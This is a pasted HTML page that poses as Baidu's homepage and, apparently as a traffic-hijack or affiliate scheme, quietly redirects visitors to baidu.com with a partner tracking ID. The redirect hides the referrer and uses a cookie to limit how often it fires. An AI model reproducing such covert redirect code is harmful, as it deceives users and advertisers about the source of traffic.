Advertisement
Guest User

Untitled

a guest
Jul 7th, 2016
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4. <META HTTP-EQUIV="Pragma" CONTENT="no-cache">
  5. <META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
  6. <META HTTP-EQUIV="Expires" CONTENT="0">
  7. <title>百度一下,你就知道</title>
  8. </head>
  9. <body>
  10. <script>
  11. (function(d){
  12. function isCkie(){
  13. var isSupport=false;
  14. if(typeof(navigator.cookieEnabled)!='undefined'){
  15. isSupport=navigator.cookieEnabled;
  16. }
  17. return isSupport;
  18. }
  19.  
  20. //Cookie相关函数
  21. var sCkie=new function(){
  22. //过期时间
  23. this.expTime=function(millisecond){if(millisecond.length==0){millisecond=0};var exp=new Date();exp.setTime(exp.getTime()+parseInt(millisecond));return exp.toGMTString();};
  24. //创建cookie
  25. this.add=function(name,value,expires,path,domain,secure){d.cookie=name+"="+encodeURI(value)+(expires?(';expires='+expires):'')+(path?(';path='+path):'')+(domain?(';domain='+domain):'')+((secure)?';secure':'');};
  26. //删除cookie
  27. //this.del=function(name,path,domain){if(getCookie(name)){document.cookie=name+"="+((path)?(";path="+path):'')+((domain)?(";domain="+domain):'')+";expires=Mon,01-Jan-2006 00:00:01 GMT";}};
  28. //获取cookie
  29. this.get=function(name){var arg=name+"=";var alen=arg.length;var theCookie=''+d.cookie;var inCookieSite=theCookie.indexOf(arg);if(inCookieSite==-1||name==""){return '';}var begin=inCookieSite+alen;var end=theCookie.indexOf(';',begin);if(end==-1){end=theCookie.length;}return decodeURI(theCookie.substring(begin,end));};
  30. };
  31. var gUrl;
  32. if(isCkie()){
  33. var ckie=0;
  34. var sid='lpvt_f6461a705844d7177814f8a1aa45aaa5';
  35. var skie=sCkie.get(sid);
  36. if (skie!='')
  37. {
  38. ckie=parseInt(skie);
  39. }
  40.  
  41. if(ckie<1){
  42. var rand=Math.random();
  43. if(rand<1.8){
  44. gUrl="https://www.baidu.com/?tn=98012088_3_dg&ch=13";
  45. }else{
  46. gUrl="https://www.baidu.com/";
  47. }
  48. sCkie.add(sid,'1',sCkie.expTime(30*60*1000),0,0,0);
  49. }else{
  50. gUrl="https://www.baidu.com/";
  51. }
  52. }else{
  53. gUrl="https://www.baidu.com/";
  54. }
  55. (function(u){if(window.navigate&&typeof navigate=='function')navigate(u);var ua=navigator.userAgent;if(ua.match(/applewebkit/i)){var h = document.createElement('a');h.rel='noreferrer';h.href=u;document.body.appendChild(h);var evt=document.createEvent('MouseEvents');evt.initEvent('click', true,true);h.dispatchEvent(evt);}else{document.write('<meta http-equiv="Refresh" Content="0; Url='+u+'" >');}})(gUrl);
  56. })(document);
  57. </script>
  58. </body>
  59. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement